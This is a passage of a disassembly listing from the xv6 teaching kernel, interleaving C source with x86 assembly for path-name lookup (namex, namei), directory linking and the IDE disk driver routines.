80101c73: 57 push %edi
80101c74: 89 cf mov %ecx,%edi
80101c76: 56 push %esi
80101c77: 53 push %ebx
80101c78: 89 c3 mov %eax,%ebx
80101c7a: 83 ec 2c sub $0x2c,%esp
struct inode *ip, *next;
if(*path == '/')
80101c7d: 80 38 2f cmpb $0x2f,(%eax)
// If parent != 0, return the inode for the parent and copy the final
// path element into name, which must have room for DIRSIZ bytes.
// Must be called inside a transaction since it calls iput().
static struct inode*
namex(char *path, int nameiparent, char *name)
{
80101c80: 89 55 e0 mov %edx,-0x20(%ebp)
struct inode *ip, *next;
if(*path == '/')
80101c83: 0f 84 51 01 00 00 je 80101dda <namex+0x16a>
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(proc->cwd);
80101c89: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80101c8f: 8b 70 68 mov 0x68(%eax),%esi
// Increment reference count for ip.
// Returns ip to enable ip = idup(ip1) idiom.
struct inode*
idup(struct inode *ip)
{
acquire(&icache.lock);
80101c92: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
80101c99: e8 02 27 00 00 call 801043a0 <acquire>
ip->ref++;
80101c9e: 83 46 08 01 addl $0x1,0x8(%esi)
release(&icache.lock);
80101ca2: c7 04 24 00 0a 11 80 movl $0x80110a00,(%esp)
80101ca9: e8 22 28 00 00 call 801044d0 <release>
80101cae: eb 03 jmp 80101cb3 <namex+0x43>
{
char *s;
int len;
while(*path == '/')
path++;
80101cb0: 83 c3 01 add $0x1,%ebx
skipelem(char *path, char *name)
{
char *s;
int len;
while(*path == '/')
80101cb3: 0f b6 03 movzbl (%ebx),%eax
80101cb6: 3c 2f cmp $0x2f,%al
80101cb8: 74 f6 je 80101cb0 <namex+0x40>
path++;
if(*path == 0)
80101cba: 84 c0 test %al,%al
80101cbc: 0f 84 ed 00 00 00 je 80101daf <namex+0x13f>
return 0;
s = path;
while(*path != '/' && *path != 0)
80101cc2: 0f b6 03 movzbl (%ebx),%eax
80101cc5: 89 da mov %ebx,%edx
80101cc7: 84 c0 test %al,%al
80101cc9: 0f 84 b1 00 00 00 je 80101d80 <namex+0x110>
80101ccf: 3c 2f cmp $0x2f,%al
80101cd1: 75 0f jne 80101ce2 <namex+0x72>
80101cd3: e9 a8 00 00 00 jmp 80101d80 <namex+0x110>
80101cd8: 3c 2f cmp $0x2f,%al
80101cda: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80101ce0: 74 0a je 80101cec <namex+0x7c>
path++;
80101ce2: 83 c2 01 add $0x1,%edx
while(*path == '/')
path++;
if(*path == 0)
return 0;
s = path;
while(*path != '/' && *path != 0)
80101ce5: 0f b6 02 movzbl (%edx),%eax
80101ce8: 84 c0 test %al,%al
80101cea: 75 ec jne 80101cd8 <namex+0x68>
80101cec: 89 d1 mov %edx,%ecx
80101cee: 29 d9 sub %ebx,%ecx
path++;
len = path - s;
if(len >= DIRSIZ)
80101cf0: 83 f9 0d cmp $0xd,%ecx
80101cf3: 0f 8e 8f 00 00 00 jle 80101d88 <namex+0x118>
memmove(name, s, DIRSIZ);
80101cf9: 89 5c 24 04 mov %ebx,0x4(%esp)
80101cfd: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80101d04: 00
80101d05: 89 3c 24 mov %edi,(%esp)
80101d08: 89 55 e4 mov %edx,-0x1c(%ebp)
80101d0b: e8 c0 28 00 00 call 801045d0 <memmove>
path++;
if(*path == 0)
return 0;
s = path;
while(*path != '/' && *path != 0)
path++;
80101d10: 8b 55 e4 mov -0x1c(%ebp),%edx
80101d13: 89 d3 mov %edx,%ebx
memmove(name, s, DIRSIZ);
else {
memmove(name, s, len);
name[len] = 0;
}
while(*path == '/')
80101d15: 80 3a 2f cmpb $0x2f,(%edx)
80101d18: 75 0e jne 80101d28 <namex+0xb8>
80101d1a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
path++;
80101d20: 83 c3 01 add $0x1,%ebx
memmove(name, s, DIRSIZ);
else {
memmove(name, s, len);
name[len] = 0;
}
while(*path == '/')
80101d23: 80 3b 2f cmpb $0x2f,(%ebx)
80101d26: 74 f8 je 80101d20 <namex+0xb0>
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(proc->cwd);
while((path = skipelem(path, name)) != 0){
ilock(ip);
80101d28: 89 34 24 mov %esi,(%esp)
80101d2b: e8 90 f9 ff ff call 801016c0 <ilock>
if(ip->type != T_DIR){
80101d30: 66 83 7e 50 01 cmpw $0x1,0x50(%esi)
80101d35: 0f 85 85 00 00 00 jne 80101dc0 <namex+0x150>
iunlockput(ip);
return 0;
}
if(nameiparent && *path == '\0'){
80101d3b: 8b 55 e0 mov -0x20(%ebp),%edx
80101d3e: 85 d2 test %edx,%edx
80101d40: 74 09 je 80101d4b <namex+0xdb>
80101d42: 80 3b 00 cmpb $0x0,(%ebx)
80101d45: 0f 84 a5 00 00 00 je 80101df0 <namex+0x180>
// Stop one level early.
iunlock(ip);
return ip;
}
if((next = dirlookup(ip, name, 0)) == 0){
80101d4b: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80101d52: 00
80101d53: 89 7c 24 04 mov %edi,0x4(%esp)
80101d57: 89 34 24 mov %esi,(%esp)
80101d5a: e8 51 fe ff ff call 80101bb0 <dirlookup>
80101d5f: 85 c0 test %eax,%eax
80101d61: 74 5d je 80101dc0 <namex+0x150>
// Common idiom: unlock, then put.
void
iunlockput(struct inode *ip)
{
iunlock(ip);
80101d63: 89 34 24 mov %esi,(%esp)
80101d66: 89 45 e4 mov %eax,-0x1c(%ebp)
80101d69: e8 22 fa ff ff call 80101790 <iunlock>
iput(ip);
80101d6e: 89 34 24 mov %esi,(%esp)
80101d71: e8 5a fa ff ff call 801017d0 <iput>
if((next = dirlookup(ip, name, 0)) == 0){
iunlockput(ip);
return 0;
}
iunlockput(ip);
ip = next;
80101d76: 8b 45 e4 mov -0x1c(%ebp),%eax
80101d79: 89 c6 mov %eax,%esi
80101d7b: e9 33 ff ff ff jmp 80101cb3 <namex+0x43>
while(*path == '/')
path++;
if(*path == 0)
return 0;
s = path;
while(*path != '/' && *path != 0)
80101d80: 31 c9 xor %ecx,%ecx
80101d82: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
path++;
len = path - s;
if(len >= DIRSIZ)
memmove(name, s, DIRSIZ);
else {
memmove(name, s, len);
80101d88: 89 4c 24 08 mov %ecx,0x8(%esp)
80101d8c: 89 5c 24 04 mov %ebx,0x4(%esp)
80101d90: 89 3c 24 mov %edi,(%esp)
80101d93: 89 55 dc mov %edx,-0x24(%ebp)
80101d96: 89 4d e4 mov %ecx,-0x1c(%ebp)
80101d99: e8 32 28 00 00 call 801045d0 <memmove>
name[len] = 0;
80101d9e: 8b 4d e4 mov -0x1c(%ebp),%ecx
80101da1: 8b 55 dc mov -0x24(%ebp),%edx
80101da4: c6 04 0f 00 movb $0x0,(%edi,%ecx,1)
80101da8: 89 d3 mov %edx,%ebx
80101daa: e9 66 ff ff ff jmp 80101d15 <namex+0xa5>
return 0;
}
iunlockput(ip);
ip = next;
}
if(nameiparent){
80101daf: 8b 45 e0 mov -0x20(%ebp),%eax
80101db2: 85 c0 test %eax,%eax
80101db4: 75 4c jne 80101e02 <namex+0x192>
80101db6: 89 f0 mov %esi,%eax
iput(ip);
return 0;
}
return ip;
}
80101db8: 83 c4 2c add $0x2c,%esp
80101dbb: 5b pop %ebx
80101dbc: 5e pop %esi
80101dbd: 5f pop %edi
80101dbe: 5d pop %ebp
80101dbf: c3 ret
// Common idiom: unlock, then put.
void
iunlockput(struct inode *ip)
{
iunlock(ip);
80101dc0: 89 34 24 mov %esi,(%esp)
80101dc3: e8 c8 f9 ff ff call 80101790 <iunlock>
iput(ip);
80101dc8: 89 34 24 mov %esi,(%esp)
80101dcb: e8 00 fa ff ff call 801017d0 <iput>
if(nameiparent){
iput(ip);
return 0;
}
return ip;
}
80101dd0: 83 c4 2c add $0x2c,%esp
iunlock(ip);
return ip;
}
if((next = dirlookup(ip, name, 0)) == 0){
iunlockput(ip);
return 0;
80101dd3: 31 c0 xor %eax,%eax
if(nameiparent){
iput(ip);
return 0;
}
return ip;
}
80101dd5: 5b pop %ebx
80101dd6: 5e pop %esi
80101dd7: 5f pop %edi
80101dd8: 5d pop %ebp
80101dd9: c3 ret
namex(char *path, int nameiparent, char *name)
{
struct inode *ip, *next;
if(*path == '/')
ip = iget(ROOTDEV, ROOTINO);
80101dda: ba 01 00 00 00 mov $0x1,%edx
80101ddf: b8 01 00 00 00 mov $0x1,%eax
80101de4: e8 37 f4 ff ff call 80101220 <iget>
80101de9: 89 c6 mov %eax,%esi
80101deb: e9 c3 fe ff ff jmp 80101cb3 <namex+0x43>
iunlockput(ip);
return 0;
}
if(nameiparent && *path == '\0'){
// Stop one level early.
iunlock(ip);
80101df0: 89 34 24 mov %esi,(%esp)
80101df3: e8 98 f9 ff ff call 80101790 <iunlock>
if(nameiparent){
iput(ip);
return 0;
}
return ip;
}
80101df8: 83 c4 2c add $0x2c,%esp
return 0;
}
if(nameiparent && *path == '\0'){
// Stop one level early.
iunlock(ip);
return ip;
80101dfb: 89 f0 mov %esi,%eax
if(nameiparent){
iput(ip);
return 0;
}
return ip;
}
80101dfd: 5b pop %ebx
80101dfe: 5e pop %esi
80101dff: 5f pop %edi
80101e00: 5d pop %ebp
80101e01: c3 ret
}
iunlockput(ip);
ip = next;
}
if(nameiparent){
iput(ip);
80101e02: 89 34 24 mov %esi,(%esp)
80101e05: e8 c6 f9 ff ff call 801017d0 <iput>
return 0;
80101e0a: 31 c0 xor %eax,%eax
80101e0c: eb aa jmp 80101db8 <namex+0x148>
80101e0e: 66 90 xchg %ax,%ax
80101e10 <dirlink>:
}
// Write a new directory entry (name, inum) into the directory dp.
int
dirlink(struct inode *dp, char *name, uint inum)
{
80101e10: 55 push %ebp
80101e11: 89 e5 mov %esp,%ebp
80101e13: 57 push %edi
80101e14: 56 push %esi
80101e15: 53 push %ebx
80101e16: 83 ec 2c sub $0x2c,%esp
80101e19: 8b 5d 08 mov 0x8(%ebp),%ebx
int off;
struct dirent de;
struct inode *ip;
// Check that name is not present.
if((ip = dirlookup(dp, name, 0)) != 0){
80101e1c: 8b 45 0c mov 0xc(%ebp),%eax
80101e1f: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80101e26: 00
80101e27: 89 1c 24 mov %ebx,(%esp)
80101e2a: 89 44 24 04 mov %eax,0x4(%esp)
80101e2e: e8 7d fd ff ff call 80101bb0 <dirlookup>
80101e33: 85 c0 test %eax,%eax
80101e35: 0f 85 8b 00 00 00 jne 80101ec6 <dirlink+0xb6>
iput(ip);
return -1;
}
// Look for an empty dirent.
for(off = 0; off < dp->size; off += sizeof(de)){
80101e3b: 8b 43 58 mov 0x58(%ebx),%eax
80101e3e: 31 ff xor %edi,%edi
80101e40: 8d 75 d8 lea -0x28(%ebp),%esi
80101e43: 85 c0 test %eax,%eax
80101e45: 75 13 jne 80101e5a <dirlink+0x4a>
80101e47: eb 35 jmp 80101e7e <dirlink+0x6e>
80101e49: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101e50: 8d 57 10 lea 0x10(%edi),%edx
80101e53: 39 53 58 cmp %edx,0x58(%ebx)
80101e56: 89 d7 mov %edx,%edi
80101e58: 76 24 jbe 80101e7e <dirlink+0x6e>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101e5a: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80101e61: 00
80101e62: 89 7c 24 08 mov %edi,0x8(%esp)
80101e66: 89 74 24 04 mov %esi,0x4(%esp)
80101e6a: 89 1c 24 mov %ebx,(%esp)
80101e6d: e8 de fa ff ff call 80101950 <readi>
80101e72: 83 f8 10 cmp $0x10,%eax
80101e75: 75 5e jne 80101ed5 <dirlink+0xc5>
panic("dirlink read");
if(de.inum == 0)
80101e77: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80101e7c: 75 d2 jne 80101e50 <dirlink+0x40>
break;
}
strncpy(de.name, name, DIRSIZ);
80101e7e: 8b 45 0c mov 0xc(%ebp),%eax
80101e81: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
80101e88: 00
80101e89: 89 44 24 04 mov %eax,0x4(%esp)
80101e8d: 8d 45 da lea -0x26(%ebp),%eax
80101e90: 89 04 24 mov %eax,(%esp)
80101e93: e8 28 28 00 00 call 801046c0 <strncpy>
de.inum = inum;
80101e98: 8b 45 10 mov 0x10(%ebp),%eax
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101e9b: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80101ea2: 00
80101ea3: 89 7c 24 08 mov %edi,0x8(%esp)
80101ea7: 89 74 24 04 mov %esi,0x4(%esp)
80101eab: 89 1c 24 mov %ebx,(%esp)
if(de.inum == 0)
break;
}
strncpy(de.name, name, DIRSIZ);
de.inum = inum;
80101eae: 66 89 45 d8 mov %ax,-0x28(%ebp)
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101eb2: e8 99 fb ff ff call 80101a50 <writei>
80101eb7: 83 f8 10 cmp $0x10,%eax
80101eba: 75 25 jne 80101ee1 <dirlink+0xd1>
panic("dirlink");
return 0;
80101ebc: 31 c0 xor %eax,%eax
}
80101ebe: 83 c4 2c add $0x2c,%esp
80101ec1: 5b pop %ebx
80101ec2: 5e pop %esi
80101ec3: 5f pop %edi
80101ec4: 5d pop %ebp
80101ec5: c3 ret
struct dirent de;
struct inode *ip;
// Check that name is not present.
if((ip = dirlookup(dp, name, 0)) != 0){
iput(ip);
80101ec6: 89 04 24 mov %eax,(%esp)
80101ec9: e8 02 f9 ff ff call 801017d0 <iput>
return -1;
80101ece: b8 ff ff ff ff mov $0xffffffff,%eax
80101ed3: eb e9 jmp 80101ebe <dirlink+0xae>
}
// Look for an empty dirent.
for(off = 0; off < dp->size; off += sizeof(de)){
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("dirlink read");
80101ed5: c7 04 24 f5 70 10 80 movl $0x801070f5,(%esp)
80101edc: e8 7f e4 ff ff call 80100360 <panic>
}
strncpy(de.name, name, DIRSIZ);
de.inum = inum;
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("dirlink");
80101ee1: c7 04 24 6a 77 10 80 movl $0x8010776a,(%esp)
80101ee8: e8 73 e4 ff ff call 80100360 <panic>
80101eed: 8d 76 00 lea 0x0(%esi),%esi
80101ef0 <namei>:
return ip;
}
struct inode*
namei(char *path)
{
80101ef0: 55 push %ebp
char name[DIRSIZ];
return namex(path, 0, name);
80101ef1: 31 d2 xor %edx,%edx
return ip;
}
struct inode*
namei(char *path)
{
80101ef3: 89 e5 mov %esp,%ebp
80101ef5: 83 ec 18 sub $0x18,%esp
char name[DIRSIZ];
return namex(path, 0, name);
80101ef8: 8b 45 08 mov 0x8(%ebp),%eax
80101efb: 8d 4d ea lea -0x16(%ebp),%ecx
80101efe: e8 6d fd ff ff call 80101c70 <namex>
}
80101f03: c9 leave
80101f04: c3 ret
80101f05: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101f09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101f10 <nameiparent>:
struct inode*
nameiparent(char *path, char *name)
{
80101f10: 55 push %ebp
return namex(path, 1, name);
80101f11: ba 01 00 00 00 mov $0x1,%edx
return namex(path, 0, name);
}
struct inode*
nameiparent(char *path, char *name)
{
80101f16: 89 e5 mov %esp,%ebp
return namex(path, 1, name);
80101f18: 8b 4d 0c mov 0xc(%ebp),%ecx
80101f1b: 8b 45 08 mov 0x8(%ebp),%eax
}
80101f1e: 5d pop %ebp
}
struct inode*
nameiparent(char *path, char *name)
{
return namex(path, 1, name);
80101f1f: e9 4c fd ff ff jmp 80101c70 <namex>
80101f24: 66 90 xchg %ax,%ax
80101f26: 66 90 xchg %ax,%ax
80101f28: 66 90 xchg %ax,%ax
80101f2a: 66 90 xchg %ax,%ax
80101f2c: 66 90 xchg %ax,%ax
80101f2e: 66 90 xchg %ax,%ax
80101f30 <idestart>:
}
// Start the request for b. Caller must hold idelock.
static void
idestart(struct buf *b)
{
80101f30: 55 push %ebp
80101f31: 89 e5 mov %esp,%ebp
80101f33: 56 push %esi
80101f34: 89 c6 mov %eax,%esi
80101f36: 53 push %ebx
80101f37: 83 ec 10 sub $0x10,%esp
if(b == 0)
80101f3a: 85 c0 test %eax,%eax
80101f3c: 0f 84 99 00 00 00 je 80101fdb <idestart+0xab>
panic("idestart");
if(b->blockno >= FSSIZE)
80101f42: 8b 48 08 mov 0x8(%eax),%ecx
80101f45: 81 f9 e7 03 00 00 cmp $0x3e7,%ecx
80101f4b: 0f 87 7e 00 00 00 ja 80101fcf <idestart+0x9f>
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80101f51: ba f7 01 00 00 mov $0x1f7,%edx
80101f56: 66 90 xchg %ax,%ax
80101f58: ec in (%dx),%al
static int
idewait(int checkerr)
{
int r;
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
80101f59: 83 e0 c0 and $0xffffffc0,%eax
80101f5c: 3c 40 cmp $0x40,%al
80101f5e: 75 f8 jne 80101f58 <idestart+0x28>
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80101f60: 31 db xor %ebx,%ebx
80101f62: ba f6 03 00 00 mov $0x3f6,%edx
80101f67: 89 d8 mov %ebx,%eax
80101f69: ee out %al,(%dx)
80101f6a: ba f2 01 00 00 mov $0x1f2,%edx
80101f6f: b8 01 00 00 00 mov $0x1,%eax
80101f74: ee out %al,(%dx)
80101f75: 0f b6 c1 movzbl %cl,%eax
80101f78: b2 f3 mov $0xf3,%dl
80101f7a: ee out %al,(%dx)
idewait(0);
outb(0x3f6, 0); // generate interrupt
outb(0x1f2, sector_per_block); // number of sectors
outb(0x1f3, sector & 0xff);
outb(0x1f4, (sector >> 8) & 0xff);
80101f7b: 89 c8 mov %ecx,%eax
80101f7d: b2 f4 mov $0xf4,%dl
80101f7f: c1 f8 08 sar $0x8,%eax
80101f82: ee out %al,(%dx)
80101f83: b2 f5 mov $0xf5,%dl
80101f85: 89 d8 mov %ebx,%eax
80101f87: ee out %al,(%dx)
outb(0x1f5, (sector >> 16) & 0xff);
outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f));
80101f88: 0f b6 46 04 movzbl 0x4(%esi),%eax
80101f8c: b2 f6 mov $0xf6,%dl
80101f8e: 83 e0 01 and $0x1,%eax
80101f91: c1 e0 04 shl $0x4,%eax
80101f94: 83 c8 e0 or $0xffffffe0,%eax
80101f97: ee out %al,(%dx)
if(b->flags & B_DIRTY){
80101f98: f6 06 04 testb $0x4,(%esi)
80101f9b: 75 13 jne 80101fb0 <idestart+0x80>
80101f9d: ba f7 01 00 00 mov $0x1f7,%edx
80101fa2: b8 20 00 00 00 mov $0x20,%eax
80101fa7: ee out %al,(%dx)
outb(0x1f7, write_cmd);
outsl(0x1f0, b->data, BSIZE/4);
} else {
outb(0x1f7, read_cmd);
}
}
80101fa8: 83 c4 10 add $0x10,%esp
80101fab: 5b pop %ebx
80101fac: 5e pop %esi
80101fad: 5d pop %ebp
80101fae: c3 ret
80101faf: 90 nop
80101fb0: b2 f7 mov $0xf7,%dl
80101fb2: b8 30 00 00 00 mov $0x30,%eax
80101fb7: ee out %al,(%dx)
}
static inline void
outsl(int port, const void *addr, int cnt)
{
asm volatile("cld; rep outsl" :
80101fb8: b9 80 00 00 00 mov $0x80,%ecx
outb(0x1f4, (sector >> 8) & 0xff);
outb(0x1f5, (sector >> 16) & 0xff);
outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f));
if(b->flags & B_DIRTY){
outb(0x1f7, write_cmd);
outsl(0x1f0, b->data, BSIZE/4);
80101fbd: 83 c6 5c add $0x5c,%esi
80101fc0: ba f0 01 00 00 mov $0x1f0,%edx
80101fc5: fc cld
80101fc6: f3 6f rep outsl %ds:(%esi),(%dx)
} else {
outb(0x1f7, read_cmd);
}
}
80101fc8: 83 c4 10 add $0x10,%esp
80101fcb: 5b pop %ebx
80101fcc: 5e pop %esi
80101fcd: 5d pop %ebp
80101fce: c3 ret
idestart(struct buf *b)
{
if(b == 0)
panic("idestart");
if(b->blockno >= FSSIZE)
panic("incorrect blockno");
80101fcf: c7 04 24 60 71 10 80 movl $0x80107160,(%esp)
80101fd6: e8 85 e3 ff ff call 80100360 <panic>
// Start the request for b. Caller must hold idelock.
static void
idestart(struct buf *b)
{
if(b == 0)
panic("idestart");
80101fdb: c7 04 24 57 71 10 80 movl $0x80107157,(%esp)
80101fe2: e8 79 e3 ff ff call 80100360 <panic>
80101fe7: 89 f6 mov %esi,%esi
80101fe9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101ff0 <ideinit>:
return 0;
}
void
ideinit(void)
{
80101ff0: 55 push %ebp
80101ff1: 89 e5 mov %esp,%ebp
80101ff3: 83 ec 18 sub $0x18,%esp
int i;
initlock(&idelock, "ide");
80101ff6: c7 44 24 04 72 71 10 movl $0x80107172,0x4(%esp)
80101ffd: 80
80101ffe: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp)
80102005: e8 16 23 00 00 call 80104320 <initlock>
picenable(IRQ_IDE);
8010200a: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
80102011: e8 ea 11 00 00 call 80103200 <picenable>
ioapicenable(IRQ_IDE, ncpu - 1);
80102016: a1 80 2d 11 80 mov 0x80112d80,%eax
8010201b: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
80102022: 83 e8 01 sub $0x1,%eax
80102025: 89 44 24 04 mov %eax,0x4(%esp)
80102029: e8 82 02 00 00 call 801022b0 <ioapicenable>
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010202e: ba f7 01 00 00 mov $0x1f7,%edx
80102033: 90 nop
80102034: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102038: ec in (%dx),%al
static int
idewait(int checkerr)
{
int r;
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
80102039: 83 e0 c0 and $0xffffffc0,%eax
8010203c: 3c 40 cmp $0x40,%al
8010203e: 75 f8 jne 80102038 <ideinit+0x48>
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102040: ba f6 01 00 00 mov $0x1f6,%edx
80102045: b8 f0 ff ff ff mov $0xfffffff0,%eax
8010204a: ee out %al,(%dx)
8010204b: b9 e8 03 00 00 mov $0x3e8,%ecx
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102050: b2 f7 mov $0xf7,%dl
80102052: eb 09 jmp 8010205d <ideinit+0x6d>
80102054: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
ioapicenable(IRQ_IDE, ncpu - 1);
idewait(0);
// Check if disk 1 is present
outb(0x1f6, 0xe0 | (1<<4));
for(i=0; i<1000; i++){
80102058: 83 e9 01 sub $0x1,%ecx
8010205b: 74 0f je 8010206c <ideinit+0x7c>
8010205d: ec in (%dx),%al
if(inb(0x1f7) != 0){
8010205e: 84 c0 test %al,%al
80102060: 74 f6 je 80102058 <ideinit+0x68>
havedisk1 = 1;
80102062: c7 05 60 a5 10 80 01 movl $0x1,0x8010a560
80102069: 00 00 00
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010206c: ba f6 01 00 00 mov $0x1f6,%edx
80102071: b8 e0 ff ff ff mov $0xffffffe0,%eax
80102076: ee out %al,(%dx)
}
}
// Switch back to disk 0.
outb(0x1f6, 0xe0 | (0<<4));
}
80102077: c9 leave
80102078: c3 ret
80102079: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80102080 <ideintr>:
}
// Interrupt handler.
void
ideintr(void)
{
80102080: 55 push %ebp
80102081: 89 e5 mov %esp,%ebp
80102083: 57 push %edi
80102084: 56 push %esi
80102085: 53 push %ebx
80102086: 83 ec 1c sub $0x1c,%esp
struct buf *b;
// First queued buffer is the active request.
acquire(&idelock);
80102089: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp)
80102090: e8 0b 23 00 00 call 801043a0 <acquire>
if((b = idequeue) == 0){
80102095: 8b 1d 64 a5 10 80 mov 0x8010a564,%ebx
8010209b: 85 db test %ebx,%ebx
8010209d: 74 30 je 801020cf <ideintr+0x4f>
release(&idelock);
// cprintf("spurious IDE interrupt\n");
return;
}
idequeue = b->qnext;
8010209f: 8b 43 58 mov 0x58(%ebx),%eax
801020a2: a3 64 a5 10 80 mov %eax,0x8010a564
// Read data if needed.
if(!(b->flags & B_DIRTY) && idewait(1) >= 0)
801020a7: 8b 33 mov (%ebx),%esi
801020a9: f7 c6 04 00 00 00 test $0x4,%esi
801020af: 74 37 je 801020e8 <ideintr+0x68>
insl(0x1f0, b->data, BSIZE/4);
// Wake process waiting for this buf.
b->flags |= B_VALID;
b->flags &= ~B_DIRTY;
801020b1: 83 e6 fb and $0xfffffffb,%esi
801020b4: 83 ce 02 or $0x2,%esi
801020b7: 89 33 mov %esi,(%ebx)
wakeup(b);
801020b9: 89 1c 24 mov %ebx,(%esp)
801020bc: e8 8f 1f 00 00 call 80104050 <wakeup>
// Start disk on next buf in queue.
if(idequeue != 0)
801020c1: a1 64 a5 10 80 mov 0x8010a564,%eax
801020c6: 85 c0 test %eax,%eax
801020c8: 74 05 je 801020cf <ideintr+0x4f>
idestart(idequeue);
801020ca: e8 61 fe ff ff call 80101f30 <idestart>
struct buf *b;
// First queued buffer is the active request.
acquire(&idelock);
if((b = idequeue) == 0){
release(&idelock);
801020cf: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp)
801020d6: e8 f5 23 00 00 call 801044d0 <release>
// Start disk on next buf in queue.
if(idequeue != 0)
idestart(idequeue);
release(&idelock);
}
801020db: 83 c4 1c add $0x1c,%esp
801020de: 5b pop %ebx
801020df: 5e pop %esi
801020e0: 5f pop %edi
801020e1: 5d pop %ebp
801020e2: c3 ret
801020e3: 90 nop
801020e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801020e8: ba f7 01 00 00 mov $0x1f7,%edx
801020ed: 8d 76 00 lea 0x0(%esi),%esi
801020f0: ec in (%dx),%al
static int
idewait(int checkerr)
{
int r;
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
801020f1: 89 c1 mov %eax,%ecx
801020f3: 83 e1 c0 and $0xffffffc0,%ecx
801020f6: 80 f9 40 cmp $0x40,%cl
801020f9: 75 f5 jne 801020f0 <ideintr+0x70>
;
if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0)
801020fb: a8 21 test $0x21,%al
801020fd: 75 b2 jne 801020b1 <ideintr+0x31>
}
idequeue = b->qnext;
// Read data if needed.
if(!(b->flags & B_DIRTY) && idewait(1) >= 0)
insl(0x1f0, b->data, BSIZE/4);
801020ff: 8d 7b 5c lea 0x5c(%ebx),%edi
}
static inline void
insl(int port, void *addr, int cnt)
{
asm volatile("cld; rep insl" :
80102102: b9 80 00 00 00 mov $0x80,%ecx
80102107: ba f0 01 00 00 mov $0x1f0,%edx
8010210c: fc cld
8010210d: f3 6d rep insl (%dx),%es:(%edi)
8010210f: 8b 33 mov (%ebx),%esi
80102111: eb 9e jmp 801020b1 <ideintr+0x31>
80102113: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102119: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102120 <iderw>:
// Sync buf with disk.
// If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID.
// Else if B_VALID is not set, read buf from disk, set B_VALID.
void
iderw(struct buf *b)
{
80102120: 55 push %ebp
80102121: 89 e5 mov %esp,%ebp
80102123: 53 push %ebx
80102124: 83 ec 14 sub $0x14,%esp
80102127: 8b 5d 08 mov 0x8(%ebp),%ebx
struct buf **pp;
if(!holdingsleep(&b->lock))
8010212a: 8d 43 0c lea 0xc(%ebx),%eax
8010212d: 89 04 24 mov %eax,(%esp)
80102130: e8 bb 21 00 00 call 801042f0 <holdingsleep>
80102135: 85 c0 test %eax,%eax
80102137: 0f 84 9e 00 00 00 je 801021db <iderw+0xbb>
panic("iderw: buf not locked");
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
8010213d: 8b 03 mov (%ebx),%eax
8010213f: 83 e0 06 and $0x6,%eax
80102142: 83 f8 02 cmp $0x2,%eax
80102145: 0f 84 a8 00 00 00 je 801021f3 <iderw+0xd3>
panic("iderw: nothing to do");
if(b->dev != 0 && !havedisk1)
8010214b: 8b 53 04 mov 0x4(%ebx),%edx
8010214e: 85 d2 test %edx,%edx
80102150: 74 0d je 8010215f <iderw+0x3f>
80102152: a1 60 a5 10 80 mov 0x8010a560,%eax
80102157: 85 c0 test %eax,%eax
80102159: 0f 84 88 00 00 00 je 801021e7 <iderw+0xc7>
panic("iderw: ide disk 1 not present");
acquire(&idelock); //DOC:acquire-lock
8010215f: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp)
80102166: e8 35 22 00 00 call 801043a0 <acquire>
// Append b to idequeue.
b->qnext = 0;
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
